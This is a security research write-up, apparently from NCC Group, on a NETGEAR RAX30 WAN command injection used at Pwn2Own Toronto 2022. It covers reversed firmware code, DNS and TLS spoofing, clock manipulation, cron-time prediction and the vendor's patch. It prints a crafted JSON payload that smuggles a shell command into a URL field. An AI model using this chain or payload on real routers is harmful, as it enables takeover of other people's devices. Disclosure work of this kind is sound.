Puckungfu 2: Another NETGEAR WAN Command Injection

Summary

Previously we posted details on a NETGEAR WAN Command Injection identified during Pwn2Own Toronto 2022, titled Puckungfu: A NETGEAR WAN Command Injection.

The exploit development group (EDG) at NCC Group were working on finding and developing exploits for multiple months prior to the Pwn2Own Toronto 2022 event, and managed to identify a large number of zero day vulnerabilities for the event across a range of targets.

However, NETGEAR released a patch a few days prior to the event, which patched the specific vulnerability we were planning on using at Pwn2Own Toronto 2022, wiping out our entry for the NETGEAR WAN target, or so we thought…

The NETGEAR /bin/pucfu binary executes during boot, and performs multiple HTTPS requests to the domains devcom.up.netgear.com and devicelocation.ngxcld.com. We used a DHCP server to control the DNS server that is assigned to the router’s WAN interface. By controlling the response of the DNS lookups, we can cause the router to talk to our own web server. An HTTPS web server using a self-signed certificate was used to handle the HTTPS request, which succeeded due to improper certificate validation (as described in StarLabs’ The Last Breath of Our Netgear RAX30 Bugs – A Tragic Tale before Pwn2Own Toronto 2022 post). Our web server then responded with multiple specially crafted JSON responses that end up triggering a command injection in /bin/pufwUpgrade which is executed by a cron job.

Vulnerability details

Storing /tmp/fw/cfu_url_cache

The following code has been reversed engineered using Ghidra, and shows how an attacker-controlled URL is retrieved from a remote web server and stored locally in the file /tmp/fw/cfu_url_cache.

/bin/pucfu

The following snippet of code shows the get_check_fw function is called in /bin/pucfu, which retrieves the JSON URL from https://devcom.up.netgear.com/UpBackend/checkFirmware/ and stores it in the bufferLargeA variable. bufferLargeA is then copied to bufferLargeB and passed to the SetFileValue function as the value parameter. This stores the retrieved URL in the /tmp/fw/cfu_url_cache file for later use.

int main(int argc,char **argv)
{
    ...
    // Perform API call to retrieve data
    // Retrieve attacker controlled data into bufferLargeA
    status = get_check_fw(callMode, 0, bufferLargeA, 0x800);
    ...
    // Set reason / lastURL / lastChecked in /tmp/fw/cfu_url_cache
    sprintf(bufferLargeB, "%d", callMode);
    SetFileValue("/tmp/fw/cfu_url_cache", "reason", bufferLargeB);

    strcpy(bufferLargeB, bufferLargeA);
    // Attacker controlled data passed as value parameter
    SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB);

    time _time = time((time_t *)0x0);
    sprintf(bufferLargeB, "%lu", _time);
    SetFileValue("/tmp/fw/cfu_url_cache", "lastChecked", bufferLargeB);
    ...
}

/usr/lib/libfwcheck.so

The get_check_fw function defined in /usr/lib/libfwcheck.so prepares request parameters from the device settings, such as the device model, and calls fw_check_api passing through the URL buffer from main.

int get_check_fw(int mode, byte betaAcceptance, char *urlBuffer, size_t urlBufferSize)
{
    ...
    char upBaseUrl[136];
    char deviceModel[64];
    char fwRevision[64];
    char fsn[16];
    uint region;

    // Retrieve data from D2
    d2_get_ascii(DAT_00029264, "UpCfg", 0,"UpBaseURL", upBaseUrl, 0x81);
    d2_get_string(DAT_00029264, "General", 0,"DeviceModel", deviceModel, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,"FwRevision", fwRevision, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,  DAT_000182ac, fsn, 0x10);
    d2_get_uint(DAT_00029264, "General", 0, "Region",  region);

    // Call Netgear API and store response URL into urlBuffer
    ret = fw_check_api(
        upBaseUrl, deviceModel, fwRevision, fsn,
        region, mode, betaAcceptance, urlBuffer, urlBufferSize
    );
    ...
}

The fw_check_api function performs a POST request to the endpoint with the data as a JSON body. The JSON response is then parsed and the url data value is copied to the urlBuffer parameter.

uint fw_check_api(
    char *baseUrl, char *modelNumber, char *currentFwVersion,
    char *serialNumber, uint regionCode, int reasonToCall,
    byte betaAcceptance, char *urlBuffer, size_t urlBufferSize
)
{
    ...
    // Build JSON request
    char json[516];
    snprintf(json, 0x200,
        "{\"token\":\"%s\",\"ePOCHTimeStamp\":\"%s\",\"modelNumber\":\"%s\","
        "\"serialNumber\":\"%s \",\"regionCode\":\"%u\",\"reasonToCall\":\"%d\","
        "\"betaAcceptance\":%d,\"currentFWVersion \":\"%s\"}",
        token, epochTimestamp, modelNumber, serialNumber, regionCode, reasonToCall,
        (uint)betaAcceptance, currentFwVersion);

    snprintf(checkFwUrl, 0x80, "%s%s", baseUrl, "checkFirmware/");

    // Perform HTTPS request
    int status = curl_post(checkFwUrl, json,  response);
    char* _response = response;

    ...

    // Parse JSON response
    cJSON *jsonObject = cJSON_Parse(_response);

    // Get status item
    cJSON *jsonObjectItem = cJSON_GetObjectItem(jsonObject, "status");
    if ((jsonObjectItem != (cJSON *)0x0)    (jsonObjectItem->type == cJSON_Number)) {
        state = 0;
        (*(code *)fw_debug)(1,"\nStatus 1 received\n");

        // Get URL item
        cJSON *jsonObjectItemUrl = cJSON_GetObjectItem(jsonObject,"url");

        // Copy url into url buffer
        int snprintfSize = snprintf(
            urlBuffer,
            urlBufferSize,
            "%s",
            jsonObjectItemUrl->valuestring
        );
        ...
        return state;
    }
    ...
}

The curl_post function performs an HTTPS POST request using curl_easy. During this request, verification of the SSL certificate returned by the web server, and the check to ensure the server’s host name matches the host name in the SSL certificate are both disabled. This means that it will make a request to any server that we can convince it to use, allowing us to control the content of the lastURL value in the /tmp/fw/cfu_url_cache file.

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    // Host name vs SSL certificate host name checks disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
    // SSL certificate verification disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
    ...
}

pufwUpgrade -A

Next, pufwUpgrade -A is called from a cron job defined in /var/spool/cron/crontabs/cfu which executes at a random time between 01:00am and 04:00am.

This triggers the PuCFU_Check function to be called, which reads the lastURL value from /tmp/fw/cfu_url_cache into the global variable gLastUrl:

int PuCFU_Check(int param_1)
{
    ...
    iVar2 = GetFileValue("/tmp/fw/cfu_url_cache", "lastURL",  lastUrl, 0x800);
    ...
    DBG_PRINT("%s:%d urlVal=%s\n", "PuCFU_Check", 0x102,  lastUrl);
    snprintf( gLastUrl, 0x800, "%s",  lastUrl);
    ...

Then, checkFirmware is called which saves the gLastUrl value to the Img_url key in /data/fwLastChecked:

int checkFirmware(int param_1)
{
    ...
    snprintf(Img_url, 0x400, "%s",  gLastUrl);
    ...
    SetFileValue("/data/fwLastChecked", "Img_url", Img_url);
    ...

The FwUpgrade_DownloadFW function is later called which retrieves the Img_url value from /data/fwLastChecked, and if downloading the file from that URL succeeds due to a valid HTTP URL, proceeds to call saveCfuLastFwpath:

int FwUpgrade_DownloadFW()
{
    ...
    iVar1 = GetFileValue("/data/fwLastChecked", "Img_url",  fileValueBuffer, 0x400);
    ...
    snprintf(Img_url, 0x400, "%s",  fileValueBuffer);
    ...
    snprintf(imageUrl, 0x801, "%s/%s/%s", Img_url,  regionName, Img_file);
    ...
    do {
        ...
        uVar2 = DownloadFiles( imageUrl, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
        if (uVar2 == 0) {
            iVar1 = GetDLFileSize("/tmp/fw/dl_fw");
            if (iVar1 != 0) {
                ...
                snprintf(fileValueBuffer, 0x801, "%s/%s", Img_url,  regionName);
                saveCfuLastFwpath(fileValueBuffer);
                ...

Finally, the saveCfuLastFwpath function (vulnerable to a command injection) is called with a parameter whose value contains the Img_url that we control. This string is formatted and then passed to the system command:

int saveCfuLastFwpath(char *fwPath)
{
    char command [1024];
    memset(command, 0, 0x400);
    snprintf(command, 0x400, "rm %s", "/data/cfu_last_fwpath");
    system(command);
    // Command injection vulnerability
    snprintf(command, 0x400, "echo \"%s\" > %s", fwPath, "/data/cfu_last_fwpath");
    DBG_PRINT( DAT_0001620f, command);
    system(command);
    return 0;
}

Example checkFirmware HTTP request/response

Request

The following request is a typical JSON payload for the HTTP request performed by the pucfu binary to retrieve the check firmware URL.

{
    "token": "5a4e4c697a2c40a7f24ae51381abbcea1aeadff2e31d5a2f49cc0f26e3e2219e",
    "ePOCHTimeStamp": "1646392475",
    "modelNumber": "RAX30",
    "serialNumber": "6LA123BC456D7",
    "regionCode": "2",
    "reasonToCall": "1",
    "betaAcceptance": 0,
    "currentFWVersion": "V1.0.7.78"
}

Response

The following response is a typical response received from the https://devcom.up.netgear.com/UpBackend/checkFirmware/ endpoint.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "https://http.fw.updates1.netgear.com/rax30/auto"
}

Command injection response

The following response injects the command echo 1 > /sys/class/leds/led_usb/brightness into the URL parameter, which results in the USB 3.0 LED lighting up on the router.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "http://192.168.20.1:8888/fw/\";echo\\${IFS}'1'>/sys/class/leds/led_usb/brightness;\""
}

The URL must be a valid URL in order to successfully download it, therefore characters such as a space are not valid. The use of ${IFS} is a known technique to avoid using the space character.

Triggering in Pwn2Own

As you may recall, this vulnerability is randomly triggered between 01:00am and 04:00am each night, due to the /var/spool/cron/crontabs/cfu cron job. However, the requirements for Pwn2Own are that it must execute within 5 minutes of starting the attempt. Achieving this turned out to be more complex than finding and exploiting the vulnerability itself.

To overcome this issue, we had to find a way to remotely trigger the cron job. To do this, we needed to have the ability to control the time of the device. Additionally, we also had to predict the random time between 01:00am and 04:00am that the cron job would trigger at.

Controlling the device time

During our enumeration and analysis, we identified an HTTPS POST request which was sent to the URL https://devicelocation.ngxcld.com/device-location/syncTime. By changing the DNS lookup to resolve to our web server, we again could forge fake responses as the SSL certificate was not validated.

A typical JSON response for this request can be seen below:

{
    "_type": "CurrentTime",
    "timestamp": 1669976886,
    "zoneOffset": 0
}

Upon receiving the response, the router sets its internal date/time to the given timestamp. Therefore, by responding to this HTTPS request, we can control the exact date and time of the router in order to trigger the cron job.

Predicting the cron job time

Now that we can control the date and time of the router, we need to know the exact timestamp to set the device to, in order to trigger the cron job within 1 minute for the competition. To do this, we reverse engineered the logic which randomly sets the cron job time.

It was identified that the command pufwUpgrade -s runs on boot, which randomly sets the hour and minute part of a cron job time in /var/spool/cron/crontabs/cfu.

The code to do this was reversed to the following:

int main(int argc, char** argv)
{
    ...

    // Set the seed based on epoch timestamp
    int __seed = time(0);
    srand(__seed);

    // Get the next random number
    int r = rand();

    // Calculate the hours / minutes
    int cMins = (r % 180) % 60;
    int cHours = floor((double)(r % 180) / 60.0) + 1;

    // Set the crontab
    char command[512];
    snprintf(
        command,
        0x1ff,
        "echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
        cHours,
        cMins,
        "/var/spool/cron/crontabs",
        "cfu"
    );
    pegaSystem(command);

    ...
}

As we can see, the rand seed is set via srand using the current device time. Therefore, by setting the seed to the exact value that is returned from time when this code is run, we can predict the next value returned by rand. By predicting the next value returned by rand, we can predict the randomly generated hour and minute values for the cron entry written into /var/spool/cron/crontabs.

For this, we first get the current timestamp of the device from the checkFirmware request we saw earlier:

...
"ePOCHTimeStamp": "1646392475",
...

Next, we calculate the number of seconds that have occurred between receiving this device timestamp, and the time(0) function call occurring. We do this by viewing the hour and minute values written into /var/spool/cron/crontabs on the device, and then brute forcing the timestamps starting from the ePOCHTimeStamp until a match is found.

Although the boot time varied, the difference was consistently less than 1 second. From our testing, the most common time it took from the ePOCHTimeStamp being received to reaching the time(0) function call was 66 seconds, followed by 65 seconds.

Therefore, by using a combination of receiving the current timestamp of the device and knowing that on average it would take 66 seconds to reach the time(0), we could determine the next value returned by rand, thereby knowing the exact timestamp that would be set for the cron job to trigger. Finally, responding to the syncTime HTTPS request to set the timestamp to 1 minute before the cron job executes.

Geographical Differences?

Pwn2Own Toronto was a day away, and some of the exploit development group (EDG) members traveled to Toronto, Canada for the competition. However, when doing final tests in the hotel before the event, the vulnerability was not triggering as expected.

After hours of testing, it turned out that the average time to boot had changed from 66 seconds to 73 seconds! We are not sure why the device boot time changed from our testing in the UK to our testing in Canada.

Did it work?

All in all, it was a bit of a gamble on if this vulnerability was going to work, as the competition only allows you to attempt the exploit 3 times, with a time limit of 5 minutes per attempt. Therefore, our random chance needed to work at least once in three attempts.

Luckily for us, the timing change and predictions worked out and we successfully exploited the NETGEAR on the WAN interface as seen on Twitter.

Unfortunately the SSL validation issue was classed as a collision and N-Day as the StarLabs blog post was released prior to the event, however all other vulnerabilities were unique zero days.

Patch

The patch released by NETGEAR was to enable SSL verification on the curl HTTPS request as seen below:

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1);
    ...
}

This will prevent an attacker using a self-signed web application from sending malicious responses, however the saveCfuLastFwpath function containing the system call itself was not modified as part of the patch.

Conclusion

If this interests you, the following blog posts cover more research from Pwn2Own Toronto 2022:

You can also keep notified of future research from the following Twitter profiles:

Call us before you need us.

Our experts will help you.

Get in touch